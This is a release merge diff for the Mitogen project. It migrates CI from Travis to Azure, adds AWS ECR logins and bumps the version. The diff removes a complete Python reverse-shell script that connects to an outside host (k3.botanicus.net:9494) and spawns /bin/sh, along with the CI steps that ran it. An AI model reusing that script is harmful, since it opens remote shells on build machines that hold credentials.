Merge pull request #863 from moreati/release-v0.2.10

Release v0.2.10

.ci/README.md

@@ -1,8 +1,8 @@
 
 # `.ci`
 
-This directory contains scripts for Travis CI and (more or less) Azure
+This directory contains scripts for Continuous Integration platforms. Currently
-Pipelines, but they will also happily run on any Debian-like machine.
+Azure Pipelines, but they will also happily run on any Debian-like machine.
 
 The scripts are usually split into `_install` and `_test` steps. The `_install`
 step will damage your machine, the `_test` step will just run the tests the way

.ci/ansible_install.py

@@ -12,12 +12,15 @@ batches = [
             '-r tests/requirements.txt '
             '-r tests/ansible/requirements.txt',
         'pip install -q ansible=={0}'.format(ci_lib.ANSIBLE_VERSION)
+    ],
+    [
+        'aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws',
     ]
 ]
 
-batches.extend(
+batches[-1].extend([
-    ['docker pull %s' % (ci_lib.image_for_distro(distro),), 'sleep 1']
+    'docker pull %s' % (ci_lib.image_for_distro(distro),)
     for distro in ci_lib.DISTROS
-)
+])
 
 ci_lib.run_batches(batches)

.ci/azure-pipelines-steps.yml

@@ -37,11 +37,12 @@ steps:
 
   displayName: activate venv
 
-- script: .ci/spawn_reverse_shell.py
-  displayName: "Spawn reverse shell"
-
 - script: .ci/$(MODE)_install.py
   displayName: "Run $(MODE)_install.py"
+  env:
+    AWS_ACCESS_KEY_ID: $(AWS_ACCESS_KEY_ID)
+    AWS_SECRET_ACCESS_KEY: $(AWS_SECRET_ACCESS_KEY)
+    AWS_DEFAULT_REGION: $(AWS_DEFAULT_REGION)
 
 - script: .ci/$(MODE)_tests.py
   displayName: "Run $(MODE)_tests.py"

.ci/ci_lib.py

@@ -60,24 +60,6 @@ def have_docker():
 # Force line buffering on stdout.
 sys.stdout = os.fdopen(1, 'w', 1)
 
-# Force stdout FD 1 to be a pipe, so tools like pip don't spam progress bars.
-if 'TRAVIS_HOME' in os.environ:
-    proc = subprocess.Popen(
-        args=['stdbuf', '-oL', 'cat'],
-        stdin=subprocess.PIPE
-    )
-
-    os.dup2(proc.stdin.fileno(), 1)
-    os.dup2(proc.stdin.fileno(), 2)
-
-    def cleanup_travis_junk(stdout=sys.stdout, stderr=sys.stderr, proc=proc):
-        stdout.close()
-        stderr.close()
-        proc.terminate()
-
-    atexit.register(cleanup_travis_junk)
-
-# -----------------
 
 def _argv(s, *args):
     """Interpolate a command line using *args, return an argv style list.
@@ -125,6 +107,20 @@ def combine(batch):
     ))
 
 
+def throttle(batch, pause=1):
+    """
+    Add pauses between commands in a batch
+
+    >>> throttle(['echo foo', 'echo bar', 'echo baz'])
+    ['echo foo', 'sleep 1', 'echo bar', 'sleep 1', 'echo baz']
+    """
+    def _with_pause(batch, pause):
+        for cmd in batch:
+            yield cmd
+            yield 'sleep %i' % (pause,)
+    return list(_with_pause(batch, pause))[:-1]
+
+
 def run_batches(batches):
     """ Run shell commands grouped into batches, showing an execution trace.
 
@@ -188,27 +184,9 @@ class TempDir(object):
 
 
 class Fold(object):
-    """
+    def __init__(self, name): pass
-    Bracket a section of stdout with travis_fold markers.
+    def __enter__(self): pass
-
+    def __exit__(self, _1, _2, _3): pass
-    This allows the section to be collapsed or expanded in Travis CI web UI.
-
-    >>> with Fold('stage 1'):
-    ...     print('Frobnicate the frobnitz')
-    ...
-    travis_fold:start:stage 1
-    Frobnicate the frobnitz
-    travis_fold:end:stage 1
-    """
-    def __init__(self, name):
-        self.name = name
-
-    def __enter__(self):
-        print('travis_fold:start:%s' % (self.name))
-
-    def __exit__(self, _1, _2, _3):
-        print('')
-        print('travis_fold:end:%s' % (self.name))
 
 
 os.environ.setdefault('ANSIBLE_STRATEGY',

.ci/debops_common_install.py

@@ -13,6 +13,7 @@ ci_lib.run_batches([
         'pip install -qqqU debops==0.7.2 ansible==%s' % ci_lib.ANSIBLE_VERSION,
     ],
     [
+        'aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws',
         'docker pull %s' % (ci_lib.image_for_distro('debian'),),
     ],
 ])

.ci/mitogen_install.py

@@ -11,6 +11,7 @@ batches = [
 
 if ci_lib.have_docker():
     batches.append([
+        'aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws',
         'docker pull %s' % (ci_lib.image_for_distro(ci_lib.DISTRO),),
     ])
 

.ci/mitogen_py24_install.py

@@ -4,6 +4,7 @@ import ci_lib
 
 batches = [
     [
+        'aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws',
         'docker pull %s' % (ci_lib.image_for_distro(ci_lib.DISTRO),),
     ],
     [

.ci/spawn_reverse_shell.py

@@ -1,36 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Allow poking around Azure while the job is running.
-"""
-
-import os
-import pty
-import socket
-import subprocess
-import sys
-import time
-
-
-if os.fork():
-    sys.exit(0)
-
-
-def try_once():
-    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-    s.connect(("k3.botanicus.net", 9494))
-    open('/tmp/interactive', 'w').close()
-
-    os.dup2(s.fileno(), 0)
-    os.dup2(s.fileno(), 1)
-    os.dup2(s.fileno(), 2)
-    p = pty.spawn("/bin/sh")
-
-
-while True:
-    try:
-        try_once()
-    except:
-        time.sleep(5)
-        continue
-

.travis.yml

@@ -1,95 +0,0 @@
-sudo: required
-dist: trusty
-
-notifications:
-  email: false
-  irc: "chat.freenode.net#mitogen-builds"
-
-language: python
-
-branches:
-  except:
-  - docs-master
-
-cache:
-- pip
-- directories:
-  - /home/travis/virtualenv
-
-env:
-  - NOCOVERAGE=1
-
-install:
-- grep -Erl git-lfs\|couchdb /etc/apt | sudo xargs rm -v
-- .ci/${MODE}_install.py
-
-script:
-- .ci/spawn_reverse_shell.py
-- .ci/${MODE}_tests.py
-
-
-# To avoid matrix explosion, just test against oldest->newest and
-# newest->oldest in various configuartions.
-
-matrix:
-  allow_failures:
-    # Python 2.4 tests are still unreliable
-    - language: c
-      env: MODE=mitogen_py24 DISTRO=centos5
-
-  include:
-    # Debops tests.
-    # 2.9.6; 3.6 -> 2.7
-    - python: "3.6"
-      env: MODE=debops_common VER=2.9.6
-    # 2.8.3; 3.6 -> 2.7
-    - python: "3.6"
-      env: MODE=debops_common VER=2.8.3
-    # 2.4.6.0; 2.7 -> 2.7
-    - python: "2.7"
-      env: MODE=debops_common VER=2.4.6.0
-
-    # Sanity check against vanilla Ansible. One job suffices.
-    - python: "2.7"
-      env: MODE=ansible VER=2.8.3 DISTROS=debian STRATEGY=linear
-
-    # ansible_mitogen tests.
-
-    # 2.9.6 -> {debian, centos6, centos7}
-    - python: "3.6"
-      env: MODE=ansible VER=2.9.6
-    # 2.8.3 -> {debian, centos6, centos7}
-    - python: "3.6"
-      env: MODE=ansible VER=2.8.3
-    # 2.8.3 -> {debian, centos6, centos7}
-    - python: "2.7"
-      env: MODE=ansible VER=2.8.3
-
-    # 2.4.6.0 -> {debian, centos6, centos7}
-    - python: "3.6"
-      env: MODE=ansible VER=2.4.6.0
-    # 2.4.6.0 -> {debian, centos6, centos7}
-    - python: "2.6"
-      env: MODE=ansible VER=2.4.6.0
-
-    # 2.3 -> {centos5}
-    - python: "2.6"
-      env: MODE=ansible VER=2.3.3.0 DISTROS=centos5
-
-    # Mitogen tests.
-    # 2.4 -> 2.4
-    - language: c
-      env: MODE=mitogen_py24 DISTRO=centos5
-    # 2.7 -> 2.7 -- moved to Azure
-    # 2.7 -> 2.6
-    #- python: "2.7"
-      #env: MODE=mitogen DISTRO=centos6
-    - python: "3.6"
-      env: MODE=mitogen DISTRO=centos7
-    # 2.6 -> 2.7
-    - python: "2.6"
-      env: MODE=mitogen DISTRO=centos7
-    # 2.6 -> 3.5
-    - python: "2.6"
-      env: MODE=mitogen DISTRO=debian-py3
-    # 3.6 -> 2.6 -- moved to Azure

README.md

@@ -1,12 +1,9 @@
 # Mitogen
 
-<!-- [![Build Status](https://travis-ci.org/dw/mitogen.png?branch=master)](https://travis-ci.org/dw/mitogen}) -->
 <a href="https://mitogen.networkgenomics.com/">Please see the documentation</a>.
 
 ![](https://i.imgur.com/eBM6LhJ.gif)
 
 [![Total alerts](https://img.shields.io/lgtm/alerts/g/mitogen-hq/mitogen.svg?logo=lgtm&logoWidth=18)](https://lgtm.com/projects/g/mitogen-hq/mitogen/alerts/)
 
-[![Build Status](https://api.travis-ci.com/mitogen-hq/mitogen.svg?branch=master)](https://api.travis-ci.com/mitogen-hq/mitogen)
+[![Build Status](https://dev.azure.com/mitogen-hq/mitogen/_apis/build/status/mitogen-hq.mitogen?branchName=master)](https://dev.azure.com/mitogen-hq/mitogen/_build/latest?definitionId=1&branchName=master)
-
-[![Pipelines Status](https://dev.azure.com/mitogen-hq/mitogen/_apis/build/status/mitogen-hq.mitogen?branchName=master)](https://dev.azure.com/mitogen-hq/mitogen/_build/latest?definitionId=1&branchName=master)

docs/changelog.rst

@@ -17,7 +17,7 @@ Release Notes
 To avail of fixes in an unreleased version, please download a ZIP file
 `directly from GitHub <https://github.com/dw/mitogen/>`_.
 
-v0.2.10 (unreleased)
+v0.2.10 (2021-10-28)
 --------------------
 
 * :gh:issue:`597` mitogen does not support Ansible 2.8 Python interpreter detection
@@ -31,6 +31,7 @@ v0.2.10 (unreleased)
 * :gh:issue:`758` fix initilialisation of callback plugins in test suite, to address a `KeyError` in
   :method:`ansible.plugins.callback.CallbackBase.v2_runner_on_start`
 * :gh:issue:`775` Add msvcrt to the default module deny list
+* :gh:issue:`847` Removed historic Continuous Integration reverse shell
 
 
 v0.2.9 (2019-11-02)

mitogen/__init__.py

@@ -35,7 +35,7 @@ be expected. On the slave, it is built dynamically during startup.
 
 
 #: Library version as a tuple.
-__version__ = (0, 2, 10, 'rc', 1)
+__version__ = (0, 2, 10)
 
 
 #: This is :data:`False` in slave contexts. Previously it was used to prevent

setup.py

@@ -37,7 +37,7 @@ def grep_version():
         for line in fp:
             if line.startswith('__version__'):
                 _, _, s = line.partition('=')
-                return '%i.%i.%i%s%i' % eval(s)
+                return '%i.%i.%i' % eval(s)
 
 
 def long_description():

tests/README.md

@@ -7,7 +7,7 @@ started in September 2017. Pull requests in this area are very welcome!
 
 ## Running The Tests
 
-[![Build Status](https://api.travis-ci.org/dw/mitogen.svg?branch=master)](https://travis-ci.org/dw/mitogen)
+[![Build Status](https://dev.azure.com/mitogen-hq/mitogen/_apis/build/status/mitogen-hq.mitogen?branchName=master)](https://dev.azure.com/mitogen-hq/mitogen/_build/latest?definitionId=1&branchName=master)
 
 Your computer should have an Internet connection, and the ``docker`` command
 line tool should be able to connect to a working Docker daemon (localhost or

tests/testlib.py

@@ -423,7 +423,10 @@ class DockerizedSshDaemon(object):
     def _get_container_port(self):
         s = subprocess__check_output(['docker', 'port', self.container_name])
         for line in s.decode().splitlines():
-            dport, proto, baddr, bport = self.PORT_RE.match(line).groups()
+            m = self.PORT_RE.match(line)
+            if not m:
+                continue
+            dport, proto, _, bport = m.groups()
             if dport == '22' and proto == 'tcp':
                 self.port = int(bport)